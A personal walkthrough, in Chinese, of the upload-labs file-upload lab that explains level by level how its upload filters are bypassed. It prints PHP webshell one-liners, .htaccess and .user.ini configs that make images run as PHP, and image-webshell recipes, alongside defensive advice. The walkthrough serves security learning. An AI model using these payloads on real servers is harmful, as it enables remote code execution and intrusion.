[TOC]
upload-labs靶场刷题个人总结
文件上传基本思路
一般是网站有相关的文件上传的地方,例如传图片文本之类,我们会尝试在这里绕过各种waf最终达到上传一个后门来达到连接服务器的目的。
Pass-01 (前端验证)
先上传一个正常图片看看,成功上传。
接下来我们得找到上传文件的url,对着上传成功的图片F12即可看到它。

现在让我们尝试上传一个后门文件,但不出所料被拦截了。

拦截时是前端弹窗提示且bp未能抓到http包,说明是前端js代码进行了相关检测过滤。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <script type="text/javascript"> function checkFile() { var file = document.getElementsByName('upload_file')[0].value; if (file == null || file == "") { alert("请选择要上传的文件!"); return false; } var allow_ext = ".jpg|.png|.gif"; var ext_name = file.substring(file.lastIndexOf(".")); if (allow_ext.indexOf(ext_name) == -1) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert(errMsg); return false; } } </script>
|
可以看出是通过lastIndexOf()函数从后往前读文件名判断文件的类型,从而判断文件是否允许被上传,alert(errMsg);
便是弹窗的代码。思路:将后门文件后缀.php
改为符合形式的从而让前端代码截取到符合的子字符串从而实现绕过,然后就能抓到包,修改成原来的后缀名保持其功能不变,最终连接shell成功获取后台。

此时能抓到包说明已经绕过,将后缀名改回来再放包即可上传成功,蚁剑连接即可。
Pass-02(MIME验证)
直接上传木马文件,提示:文件类型不正确,请重新上传

点击提示:显示这关是对MIME检查(对应包中的Content-Type
的值)。如果你不知道怎样改成符合的格式,其实按照第一关的方式提前修改后缀名,抓到的http包中就已经有对的Content-Type
值了,此时把后缀修改回来即可。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '文件类型不正确,请重新上传!'; } } else { $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!'; } }
|
源码中也可以看出是对MIME的白名单检测。
Pass-03(后缀黑名单校验绕过)
直接回显:不允许上传.asp,.aspx,.php,.jsp后缀文件!
猜测是后缀黑名单校验。
思路:
一般是改成同样可以被解析的后缀名即可,eg:如果是.php
可以尝试改成php3
、php5
、phtml
、pht
等,windows服务器下可尝试::$DATA
,看是否可以被解析,ASP
则可以是 cdx
、cer
、asa
等, JSP
对应jspx
等。
所以我们将后缀改为未在黑名单中的php3
,然后即可上传成功。

源码分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array('.asp','.aspx','.php','.jsp'); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA', '', $file_ext); $file_ext = trim($file_ext);
if(!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
|
可以看到::$DATA
后缀会被去除,且大小写绕过是不行的。(最重要的函数黑名单的数目太少了)
Pass-04(黑名单2 .htaccess
)
这关中发现前面的手段都不好使了,查看源码发现把这些偏门的可解析后缀全给加入黑名单了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA', '', $file_ext); $file_ext = trim($file_ext);
if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
|
思路:目前我们能想到的思路是先上传合规格式木马,再上传 .htaccess
配置文件来达到把它当作php进行解析。而《从0到1:CTFer成长之路》这本书中还提到上传user.ini
来进行绕过。
.htaccess
配置文件
1 2 3 4
| <FilesMatch "yjh"> Sethandler application/x-httpd-php </FilesMatch>
|
1 2 3 4
| <Files "yjh.gif"> Sethandler application/x-httpd-php </Files>
|
1
| AddType application/x-httpd-php .jpg
|
1 2 3 4
| AddType application/x-httpd-php .jpg php_value auto_append_fi\ le "php://filter/convert.base64-decode/resource=1.jpg"
|
(不知道为什么buu靶场中是可行的,但我本地环境却不行~)
user.ini
配置文件
贴一下简介:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| user.ini : 自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。 两个新的 INI 指令,user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。 user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是 .user.ini。 user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。
|
两个关键配置参数:
auto_prepend_file=a.jpg //在页面顶部加载文件
auto_append_file=a.jpg //在页面底部加载文件
写法:
1 2 3
| GIF89a auto_prepend_file=a.jpg auto_append_file=a.jpg
|
使用条件:
- 服务器脚本语言为PHP
- 对应目录下面有可执行的php文件
- 服务器使用CGI/FastCGI模式
优势:
.user.ini.它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。
htaccess绕过的总结
核心原理
.htaccess
是 Apache HTTP Server 的分布式配置文件,用于对当前目录及其子目录进行细粒度配置。
攻击者通过上传 .htaccess
文件,并配合特定配置,使得非 .php
文件被当作 PHP 执行。
.htaccess
编写语法精要
- 每一条配置项必须在一行(或续行)完成
AddType
:扩展名与 MIME 类型映射
php_value
/ php_flag
:配置 PHP.ini 中的项
DirectoryIndex
:默认首页设置
ErrorDocument
:错误页重定向
<FilesMatch>
、<IfModule>
:细粒度控制执行范围
常用的 .htaccess
配置及其作用
目的 |
配置示例 |
解释 |
将非 .php 文件解析为 PHP |
AddType application/x-httpd-php .jpg |
让 .jpg 文件被 PHP 引擎处理 |
自动追加恶意 PHP 文件 |
php_value auto_append_file "shell.jpg" |
所有 PHP 文件执行完后自动追加这个文件(该配置需要php的Server API ) |
自动在脚本前插入恶意代码 |
php_value auto_prepend_file "php://input" |
在脚本执行前自动插入指定代码 |
修改默认首页 |
DirectoryIndex shell.jpg |
将默认首页设置为恶意脚本 |
隐藏 WebShell |
ErrorDocument 404 /shell.jpg |
将所有 404 错误跳转到 WebShell |
攻击流程建议(CTF/实战)
- 上传 WebShell 为伪装扩展名(如
.jpg
)
- 上传
.htaccess
文件设置 MIME 执行规则
- 使用
auto_prepend_file
/auto_append_file
执行后门
- 使用
php://filter
+ base64 避免文件头暴露
- 访问
.jpg
文件,触发 PHP 执行
防御建议(安全视角)
防御点 |
建议 |
禁止上传 .htaccess 文件 |
配置 php.ini :upload_ext_filter |
关闭上传目录解析 |
Apache 设置 AllowOverride None |
限制 MIME 类型欺骗 |
校验上传文件内容头、魔术字 |
移除 PHP stream 封装器 |
disable_functions :php://*, expect://* |
使用 WAF 进行语义分析 |
不能仅基于关键字,需做语法解析 |
Pass-05(黑名单3 大小写绕过)
.htaccess
也被ban了。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.'); $file_ext = str_ireplace('::$DATA', '', $file_ext); $file_ext = trim($file_ext);
if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
|
但是这关相较来说缺少了``strtolower($file_ext); //转换为小写函数,没有进行强制的大小写转换,所以我们可以上传
yjh.PHP`靠着大小写进行绕过。

上传成功!连接即可。
Pass-06(黑名单4 空格绕过)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = $_FILES['upload_file']['name']; $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA', '', $file_ext); if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件不允许上传'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
|
没有trim()函数用于去除首尾空格,所以尝试尝试空格绕过。抓包在文件后缀处加上空格即可绕过。

Pass-07(黑名单5 点号绕过)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA', '', $file_ext); $file_ext = trim($file_ext); if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
|
缺少了$file_name = deldot($file_name);//删除文件名末尾的点
,意味着可以点号绕过,同空格绕过一样。

Pass-08(黑名单6 ::$DATA绕过)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); $file_ext = trim($file_ext); if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
|
少了$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
。
抓包加上即可绕过,最终=后访问的时候记得删掉::$DATA
部分,否则访问不到。
Pass-09(黑名单7 单次验证)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA', '', $file_ext); $file_ext = trim($file_ext); if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
|
似乎是deldot($file_name)
函数的一个特性:在遇到第一个点时会再往下,但在遇到空格时便会中断。
所以构造yjh.php. .
这样文件名上传之后,当执行dedot()
时会遇到空格停下,得到``yjh.php. (含空格)->得到最终去掉空格得到->
yjh.php.`
Pass-10(黑名单8 双写绕过)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']); $file_name = str_ireplace($deny_ext,"", $file_name); $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
|
注意到:$file_name = str_ireplace($deny_ext,"", $file_name);
会将识别到的后缀替换为空。可以双写进行绕过,例如yjh.pphphp
被检测替换后为yjh.php
。

阶段性总结
这些全部为黑名单绕过,而且只是验证一次,所以这些关卡全部可以用一个思路解出来,那就是.php. .
都是可以这样的,但是这就违背了创建靶场者的心思,靶场也就失去了意义,发挥不出靶场真正的作用。大家知道有这么一回事就可以了。所以大家还是按照本篇老老实实打一遍,通关不是目的,让知识得到巩固才是目的。 (除了Pass-08,有重命名)
Pass-11(白名单 %00
截断 GET)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = '上传出错!'; } } else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; } }
|
这关是白名单过滤,并且存储path可控,所以我们可以使用%00
进行截断, %00
只能用于php版本低于5.3的。这里我们需要把phpstudy切换一下版本,在php.ini
把magic_quotes_gpc关闭 ,
1 2
| move_uploaded_file ( string $filename , string $destination ) : bool 本函数检查并确保由 filename 指定的文件是合法的上传文件(即通过 PHP 的 HTTP POST 上传机制所上传的)。如果文件合法,则将其移动为由 destination 指定的文件。
|
(记住这个函数)
番外(phpstudy提示“当前网络不稳定,下载失败”的解决方案):
由于我的php版本过高,导致文件上传失败所以当我准备在phpstudy中下载更低版本时,发现报错当前网络不稳定,下载失败
.
解决方案:
https://msb-netdisk.mashibing.com/share/035086ad3f62416ba49f3cb66c9313bc
在这里有全部版本的php,下载之后选择对应版本拖到phpstudy的Extensions目录下的php下,然后重启phpstudy即可。
phpstudy安装php5.2.17显示下载失败_php5.2.17下载不了 phpstudy-CSDN博客
Pass-12(白名单 %00
截断 POST)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传失败"; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!"; } }
|
遇上一关类似,但是变成了POST参数。
要注意需要在BP中开HEX模式把%00三个的十六进制全改为00
。

它俩的差别是get会自行解码,post不会自行解码,我们需要对%00进行编码,将这里面的25 30 30
改为00 00 00
,然后上传即可。
Pass-13(白名单3 图片马+文件包含)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| function getReailFileType($filename){ $file = fopen($filename, "rb"); $bin = fread($file, 2); fclose($file); $strInfo = @unpack("C2chars", $bin); $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode){ case 255216: $fileType = 'jpg'; break; case 13780: $fileType = 'png'; break; case 7173: $fileType = 'gif'; break; default: $fileType = 'unknown'; } return $fileType; }
$is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } } }
|
文件包含漏洞已给,http://upload-labs/include.php
1 2 3 4 5 6 7 8 9 10 11 12
| <?php
header("Content-Type:text/html;charset=utf-8"); $file = $_GET['file']; if(isset($file)){ include $file; }else{ show_source(__file__); } ?>
|
尝试图片马+文件包含。
制作图片马
cmd输入copy 14.jpg /b + 14.php /a webshell.jpg
(参数自行更改)即可生成图片马。
正常上传图片马即可。
成功包含:

Pass-14(白名单4 getimagesize() 图片马+文件包含)
1 2 3 4
| getimagesize ( string $filename [, array &$imageinfo ] ) : array getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。
如果不能访问 filename 指定的图像或者其不是有效的图像,getimagesize() 将返回 FALSE 并产生一条 E_WARNING 级的错误。
|
提示这个函数,该函数会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的 。所以同样的还是传图片马进去,并文件包含即可。

Pass-15(白名单5 exif_imagetype() 图片马+文件包含)
同13,14都是检查文件头, 需要打开``php_exif` ,不做过多赘述。
Pass-16(白名单6 二次渲染绕过+图片马+文件包含)
Pass-17(条件竞争)
Pass-18
Pass-19
Pass-20( 数组绕过验证 )
补:
utf-8 utf-16
短标签绕过
1
| <?=@eval($_POST['cmd']);?>
|
js形式(绕过<?
检测)
1
| <script language='php'>@eval($_POST[shell]);</script>
|
参考文章:
upload-labs通关攻略(全) - 清茶先生 - 博客园
Upload-labs 1-21关 靶场通关攻略(全网最全最完整)_upload靶场-CSDN博客
upload-labs通关-文件上传靶场-详细_文件上传靶场每一关详细-CSDN博客
文件上传-.user.ini文件_.user.ini写法-CSDN博客
PHPStudy下载PHP提示“当前网络不稳定,下载失败” - 软件工具使用类 - 八方网域
关于upload-labs实验pass-11的00截断报上传出错的解决办法_uploadlabs显示上传出错-CSDN博客
upload-labs WP - 硝基苯摸鱼记录
phpstudy安装php5.2.17显示下载失败_php5.2.17下载不了 phpstudy-CSDN博客